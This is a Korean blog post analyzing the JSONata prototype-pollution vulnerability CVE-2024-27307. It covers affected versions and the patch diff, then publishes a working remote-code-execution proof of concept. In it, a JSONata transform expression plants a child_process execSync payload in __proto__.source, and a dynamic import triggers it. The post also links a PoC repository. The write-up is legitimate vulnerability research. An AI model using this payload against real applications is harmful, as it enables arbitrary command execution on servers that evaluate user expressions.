본문 바로가기
프로그래밍/취약점 관리

자바스크립트, JSONata, 프로토타입 폴루션 취약점 (CVE-2024-27307) with PoC Code

by K-인사이터 2024. 3. 21.
반응형

안녕하세요

K-인사이트입니다.

 

 

깃허브에서 무료 1만8천개의 별을 받은 JSONata 프로젝트에서 “Github, Inc. 9.8점 Critical” 위험도의 취약점(CVE-2024-27307)이 공개되었습니다. 해당 취약점을 통해 해커는 사용자가 제공한 JSONata 표현식을 평가하는 애플리케이션에서 서비스 거부, 원격 코드 실행 또는 기타 예기치 않은 동작이 발생시킬 수 있는 것으로 알려졌습니다.

 

아직 해당 CVE-2024-27307의 exploit 코드가 공개되어 있지 않은 상태입니다. JSONata의 깃헙 패치를 분석하여 원격 명령 실행(Remote Code Execution) 공격 코드를 도출하였으며 이 글에서 One Day Exploit PoC 코드를 공개드리도록 하겠습니다. 👏👏👏 이 글의 맨 마지막에 PoC 코드를 다운로드 받을 수 있도록 제가 관리하는 Bitbucket Repo 링크를 달아두었으니 참고부탁드립니다.

JSONata 란?

JSONata는 JSON 데이터를 위한 경량 쿼리 및 변환 언어입니다. XPath 3.1의 '위치 경로' 의미론에서 영감을 얻은 이 언어는 정교한 쿼리를 간결하고 직관적인 표기법으로 표현할 수 있게 해줍니다. 추출된 데이터를 조작하고 결합하기 위한 다양한 내장 연산자와 함수가 제공되며, 쿼리 결과는 익숙한 JSON 객체 및 배열 구문을 사용하여 모든 JSON 출력 구조로 포맷할 수 있습니다. 사용자 정의 함수를 생성하는 기능과 함께, 고급 표현식을 구축하여 모든 JSON 쿼리 및 변환 작업을 처리할 수 있습니다.

 

대표적인 예시를 보겠습니다. 아래는 JSON 데이터에서 properties 속성의 모든 키 값을 출력하는 예시입니다. https://try.jsonata.org/ 를 통해서 여러가지 문법을 테스트할 수 있습니다.

 

취약점 정보 요약

JSONata 버전 “>= 1.4.0, < 1.8.7” 및 “>= 2.0.0, < 2.0.4” 에서는 악성 표현식이 변환 연산자를 사용하여 객체 생성자 및 프로토타입의 프로퍼티를 재정의할 수 있습니다. 이로 인해 사용자가 제공한 JSONata 표현식을 평가하는 애플리케이션에서 서비스 거부, 원격 코드 실행 또는 기타 예기치 않은 동작이 발생할 수 있습니다.

  • 1.4.0 <= JSONata 버전 < 1.8.7 일 경우 취약
  • 2.0.0 <= JSONata 버전 < 2.0.4 일 경우 취약

취약점 패치 방법

이 문제는 JSONata 버전 “>= 1.8.7” 및 “>= 2.0.4”에서 수정되었습니다. 사용자가 제공한 표현식을 평가하는 애플리케이션은 악용을 방지하기 위해 최대한 빨리 업데이트가 필요합니다. 업데이트가 불가능한 경우 다음 패치를 적용하는 방법을 고려할 수 있습니다.

--- a/src/jsonata.js
+++ b/src/jsonata.js
@@ -1293,6 +1293,13 @@ var jsonata = (function() {
                 }
                 for(var ii = 0; ii < matches.length; ii++) {
                     var match = matches[ii];
+                    if (match && (match.isPrototypeOf(result) || match instanceof Object.constructor)) {
+                        throw {
+                            code: "D1010",
+                            stack: (new Error()).stack,
+                            position: expr.position
+                        };
+                    }
                     // evaluate the update value for each match
                     var update = await evaluate(expr.update, match, environment);
                     // update must be an object
@@ -1539,7 +1546,7 @@ var jsonata = (function() {
                 if (typeof err.token == 'undefined' && typeof proc.token !== 'undefined') {
                     err.token = proc.token;
                 }
-                err.position = proc.position;
+                err.position = proc.position || err.position;
             }
             throw err;
         }
@@ -1972,6 +1979,7 @@ var jsonata = (function() {
         "T1007": "Attempted to partially apply a non-function. Did you mean ${{{token}}}?",
         "T1008": "Attempted to partially apply a non-function",
         "D1009": "Multiple key definitions evaluate to same key: {{value}}",
+        "D1010": "Attempted to access the Javascript object prototype", // Javascript specific 
         "T1010": "The matcher function argument passed to function {{token}} does not return the correct object structure",
         "T2001": "The left side of the {{token}} operator must evaluate to a number",
         "T2002": "The right side of the {{token}} operator must evaluate to a number",

 

취약한 소스코드 분석 및 PoC

주의: 제공된 정보를 악용하거나 부주의하게 사용할 경우 민형사상의 책임이 따릅니다.

패치된 소스코드를 살펴보면 다음과 같습니다. 전형적인 Prototype Pollution 취약점을 대응하기 위한 소스코드로 match 라는 변수가 Object 의 constructor 의 인스턴스인지를 검사하는 코드가 추가되었습니다.

+ if (match && (match.isPrototypeOf(result) || match instanceof Object.constructor)) {
+    throw {
+       code: "D1010",
+       stack: (new Error()).stack,
+       position: expr.position
+    };
+ }

 

해당 소스코드는 evaluateTransformExpression 함수의 소스코드로 transformer 함수를 실행한다고 주석이 알려줍니다. 즉, transformer 가 무엇인지 알아내야 합니다. jsonata.js 소스코드의 6446라인을 보면 transformer 주석이 확인됩니다. 그리고 vertical bar 문자로 표현되는 것을 알 수 있습니다.

 

코드를 추적한 결과 transform 타입을 switch-case 문을 통해 분기를 태우고 evaluateTransformExpression 함수를 실행하는 것을 확인 할 수 있습니다.

 

즉, transform(”|”)을 JSONata가 처리하는 과정에서 Prototype Pollution 취약점을 발생시킨 것으로 확인됩니다. 그렇다면 transform 을 어떻게 사용하는지 한번 알아보겠습니다. 6년전 git 에서 논의된 내용으로 해당 transform의 기능을 도입하는 토론을 진행한 흔적이 보입니다. 🔗 https://github.com/jsonata-js/jsonata/issues/70

 

따라서 "payload ~> |Account.Order.Product|{'Price': Price * 1.2}|"문법을 통해 특정 데이터에 접근하여 값을 변경하는 변환 작업을 하는 문법임을 확인할 수 있습니다.

 

일반화 하면 다음과 같이 풀어낼 수 있습니다. "객체의 이름 ~> | 객체 내부 속성 | 변경할 필드와 값 |" 여기에 Prototype Pollution 원리를 적용하면 "변수의 이름 ~> | constructor | {”prototype”: “payload”}|"가됩니다. 파악된 원리를 코드로 녹여낸 결과 취약한 버전에서 원격 명령어 실행(Remote Command Execution, 이하 RCE)이 가능함을 확인하였습니다.

 

잠시 PoC 코드를 통해서 MacOS 에서 계산기를 실행하는 영상을 감상하실까요? 화려한 이펙트는 없습니다. 🤔

 

Prototype Pollution을 통해서 RCE를 성공하려면 trigger가 필요합니다. Object의 프로토타입을 오염시키는 것만으로는 삽입된 코드가 실행되지는 않기 때문입니다. "데이터 오염 → 오염된 데이터를 건드리는 코드에 진입"이라는 순서가 필요합니다. 따라서, PoC 코드에서는 가장 흔하게 사용하는 import 함수를 trigger로 사용하였습니다. 즉, JSONata를 사용하는 웹서버가 데이터가 오염된 이후에 import 문d이 호출되면 RCE가 동작한다는 의미입니다.

 

PoC 코드는 매우 심플합니다. 앞서 언급한 transform 문법을 활용해 Javascript 의 Object 객체에 접근 후 __proto__ 라는 예약된 키워드 속성에 접근한 뒤 import 구문이 트리거 될 때 참고하는 source 속성에 공격코드를 심어둡니다. 아래의 예시를 참조하시면 이해가 편합니다.

 

RCE 개념 증명을 위해 유명한 계산기 프로그램을 실행시켰습니다. 다른 명령어도 실행이 가능한지 테스트해보면서 이해를 확대하면 좋을 것 같습니다.

const jsonata = require('jsonata');

(async () => {
  const expression = jsonata('{} ~> | __proto__ | {"source": "console.log(require(\\\\\\"child_process\\\\\\").execSync(\\\\\\"open file:///System/Applications/Calculator.app\\\\\\").toString())//"} |');
  await expression.evaluate();  
  
  import('./test.js'); // trigger exploit
})()

 

CVE-2024-27307 PoC는 아래의 링크를 통해서 클론하여 곧바로 테스트가 가능합니다. 취약한 버전을 미리 세팅하기 어려우신 분은 참고부탁드립니다.

🔗 https://bitbucket.org/kinstory/cve-2024-27307/src/main/

 

설치 및 실행 명령어는 다음과 같습니다.

$ npm i # 의존성 설치 
$ npm run start # 취약점 실행 명령어 

맺음말

근래에 들어 취약점들이 공개가 되지만 왜 취약한지 그리고 어떻게 취약점이 발현되는지 알려주지 않는 경향이 있습니다. 이번 사례가 그렇습니다. 그러나 프로그래밍을 전공하거나 해당 분야에 관심이 있는 사람들이라면 누구나 패치 코드만 보아도 취약점을 이용하는 공격 코드를 쉽게 만들어 낼 수 있습니다. 제가 지금 보여드린 방법처럼 말입니다.

 

따라서, 국내에 전문가 분들이 이러한 취약점 공개에 대해 정보를 공유하고 활발히 소통되었으면 하는 바램입니다.

 

이상입니다.

K-인사이트 올림.

반응형